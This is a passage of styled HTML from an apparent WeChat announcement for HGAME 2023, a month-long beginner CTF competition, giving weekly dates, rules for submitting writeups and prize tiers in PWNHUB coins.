5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(208, 210, 159);background-color: rgb(208, 210, 159);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 22px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">1</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;margin-left: 10px;align-self: center;box-sizing: border-box;"><section style="text-align: justify;font-size: 20px;color: rgb(208, 210, 159);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: left;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">Week 1  抢回家的车票啦&gt;&#34;&lt;！ </strong></p></section></section></section><section style="justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px dashed rgb(208, 210, 159);border-bottom-left-radius: 0px;height: auto;padding: 25px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">2023 - 01 - 05 -- 2023 - 01 - 12</p></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 203, 132);background-color: rgb(255, 203, 132);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 22px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">2</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;margin-left: 10px;align-self: center;box-sizing: border-box;"><section style="text-align: justify;font-size: 20px;color: rgb(208, 210, 159);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: left;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">Week 2  年货都屯好了吗^_~</strong></p></section></section></section><section style="justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px dashed rgb(208, 210, 159);border-bottom-left-radius: 0px;height: auto;padding: 25px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">2023 - 01 - 12 -- 2023 - 01 - 19</p></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(208, 210, 159);background-color: rgb(208, 210, 159);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 22px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">3</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;margin-left: 10px;align-self: center;box-sizing: border-box;"><section style="text-align: justify;font-size: 20px;color: rgb(208, 210, 159);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: left;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">Week 3  兔年新年快乐q(≧▽≦q)</strong></p></section></section></section><section style="justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px dashed rgb(208, 210, 159);border-bottom-left-radius: 0px;height: auto;padding: 25px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">2023 - 01 - 23 -- 2023 - 01 - 30</p></section></section></section></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;text-align: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(255, 203, 132);background-color: rgb(255, 203, 132);width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 22px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">4</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;min-width: 5%;max-width: 100%;flex: 0 0 auto;height: auto;margin-left: 10px;align-self: center;box-sizing: border-box;"><section style="text-align: justify;font-size: 20px;color: rgb(208, 210, 159);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: left;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">Week 4  来跟兔兔一起拜大年！</strong></p></section></section></section><section style="justify-content: center;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px dashed rgb(208, 210, 159);border-bottom-left-radius: 0px;height: auto;padding: 25px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">2023 - 01 - 30 -- 2023 - 02 - 06</p></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section></section></section><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p><p style="box-sizing: border-box;">每周结算一次</p><p style="box-sizing: border-box;">20 点上题，20 点结束</p><p style="box-sizing: border-box;">wp 提交时间为本周结束后 24 小时内</p><p style="box-sizing: border-box;">（即第二天 20 点截止）</p><p style="box-sizing: border-box;">特别注意春节期间会调整时间</p><p style="box-sizing: border-box;">Week2 到 Week3 之间会空四天噢</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p><p style="box-sizing: border-box;">持续一个月时间的 HGAME <br style="box-sizing: border-box;"/></p><p style="box-sizing: border-box;">难度会每周逐渐递增</p><p style="box-sizing: border-box;">更好地帮助新的 CTFer 入门<br style="box-sizing: border-box;"/></p><p style="box-sizing: border-box;">最后我们还会有 Final ！</p><p style="box-sizing: border-box;">（ Final 时间待定，仅面对校内同学）</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="display: flex;flex-flow: row nowrap;text-align: center;justify-content: center;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 22%;vertical-align: top;flex: 0 0 auto;align-self: flex-start;height: auto;box-sizing: border-box;"><section style="margin-top: 10px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="width: 100%;height: 5px;background-color: rgb(147, 43, 8);box-sizing: border-box;"><svg viewBox="0 0 1 1" style="float:left;line-height:0;width:0;vertical-align:top;"></svg></section></section></section></section><section style="text-align: justify;box-sizing: border-box;" powered-by="xiumi.us"><p style="white-space: normal;box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="font-size: 23px;text-align: justify;color: rgb(216, 230, 214);box-sizing: border-box;" powered-by="xiumi.us"><p style="text-align: center;white-space: normal;box-sizing: border-box;"><strong style="box-sizing: border-box;">奖项设置 🏆</strong></p></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">先来看看校内的奖金！</p><p style="box-sizing: border-box;">（校内仅限校内 22 级同学）</p><p style="box-sizing: border-box;">今年还新增了单方向榜！</p><p style="box-sizing: border-box;">注：1 PWNHUB 金币与 1.5 元人民币等值</p><p style="box-sizing: border-box;">每位获奖者都会赠送<span style="color: rgb(216, 230, 214);font-size: 15px;text-align: center;background-color: rgb(15, 61, 61);"> </span><span style="color: rgb(216, 230, 214);font-size: 15px;text-align: center;background-color: rgb(15, 61, 61);">PWNHU</span><span style="color: rgb(216, 230, 214);font-size: 15px;text-align: center;background-color: rgb(15, 61, 61);">B</span><span style="color: rgb(216, 230, 214);font-size: 15px;text-align: center;background-color: rgb(15, 61, 61);"> </span>邀请码</p><p style="box-sizing: border-box;">排行榜分数相同者，</p><p style="box-sizing: border-box;">以先达到该分数的时间次序划定排名</p></section><section style="text-align: center;line-height: 0;margin-top: 5px;box-sizing: border-box;" powered-by="xiumi.us"><section style="max-width: 100%;vertical-align: middle;display: inline-block;line-height: 0;width: 37%;height: auto;box-sizing: border-box;"><img class="rich_pages wxw-img" data-ratio="0.9683973" data-type="png" data-w="886" style="vertical-align: middle;width: 100%;box-sizing: border-box;" src="https://wechat2rss.xlab.app/img-proxy/?k=06d76f0e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FtBics1PdpEkehRu4qnnQ6GibL38CFubCDfknkNrRLd606Yhv21AC2wooWaAI1rlktcrgAcUNeWJNERJCK6Pu4QUA%2F640%3Fwx_fmt%3Dpng"/></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">I</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">一等奖（共一名）<br style="box-sizing: border-box;"/></p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">1000 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">II</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">二等奖（共三名）</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">500 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">III</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">三等奖（共六名）</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">200 PWNHUB 金币</p></section></section></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">Final 的奖金也可以提前透露一下！</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">I</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">一等奖（共一名）<br style="box-sizing: border-box;"/></p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">500 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">II</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">二等奖（共三名）</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">300 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">III</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">三等奖（共六名）</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">150 PWNHUB 金币</p></section></section></section></section></section></section><p style="white-space: normal;box-sizing: border-box;" powered-by="xiumi.us"><br style="box-sizing: border-box;"/></p><section style="text-align: center;font-size: 15px;color: rgb(216, 230, 214);padding-right: 15px;padding-left: 15px;line-height: 2;box-sizing: border-box;" powered-by="xiumi.us"><p style="box-sizing: border-box;">总体奖项设置（包括校内外所有同学）</p><p style="box-sizing: border-box;"><br style="box-sizing: border-box;"/></p></section><section style="text-align: left;justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 100%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;padding-right: 25px;padding-left: 25px;box-sizing: border-box;"><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">I</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">第一名</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">1000 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">II</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">第二名</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">800 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">III</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="text-align: left;box-sizing: border-box;">第三名</p></section></section></section></section><section style="text-align: center;justify-content: center;display: flex;flex-flow: row nowrap;margin-top: 3px;margin-bottom: 10px;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;width: 93%;vertical-align: top;align-self: flex-start;flex: 0 0 auto;border-left: 1px solid rgb(255, 255, 255);border-bottom-left-radius: 0px;height: auto;padding: 11px 23px 23px;box-sizing: border-box;"><section style="box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: justify;color: rgb(255, 255, 255);box-sizing: border-box;"><p style="white-space: normal;box-sizing: border-box;">600 PWNHUB 金币</p></section></section></section></section><section style="justify-content: flex-start;display: flex;flex-flow: row nowrap;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="font-size: 19px;margin-right: 0%;margin-left: 0%;box-sizing: border-box;" powered-by="xiumi.us"><section style="display: inline-block;border-width: 1px;border-style: solid;border-color: rgb(67, 67, 67);background-color: rgb(67, 67, 67);text-align: center;width: 1.8em;height: 1.8em;line-height: 1.8em;border-radius: 100%;margin-left: auto;margin-right: auto;font-size: 16px;color: rgb(253, 235, 134);box-sizing: border-box;"><p style="box-sizing: border-box;"><strong style="box-sizing: border-box;">IV</strong></p></section></section></section><section style="display: inline-block;vertical-align: middle;width: auto;align-self: center;flex: 0 0 auto;min-width: 5%;max-width: 100%;height: auto;box-sizing: border-box;"><section style="margin-bottom: 4px;transform: translate3d(10px, 0px, 0px);box-sizing: border-box;" powered-by="xiumi.us"><section style="text-align: center;font-size: 12px;color: rgb(255, 255, 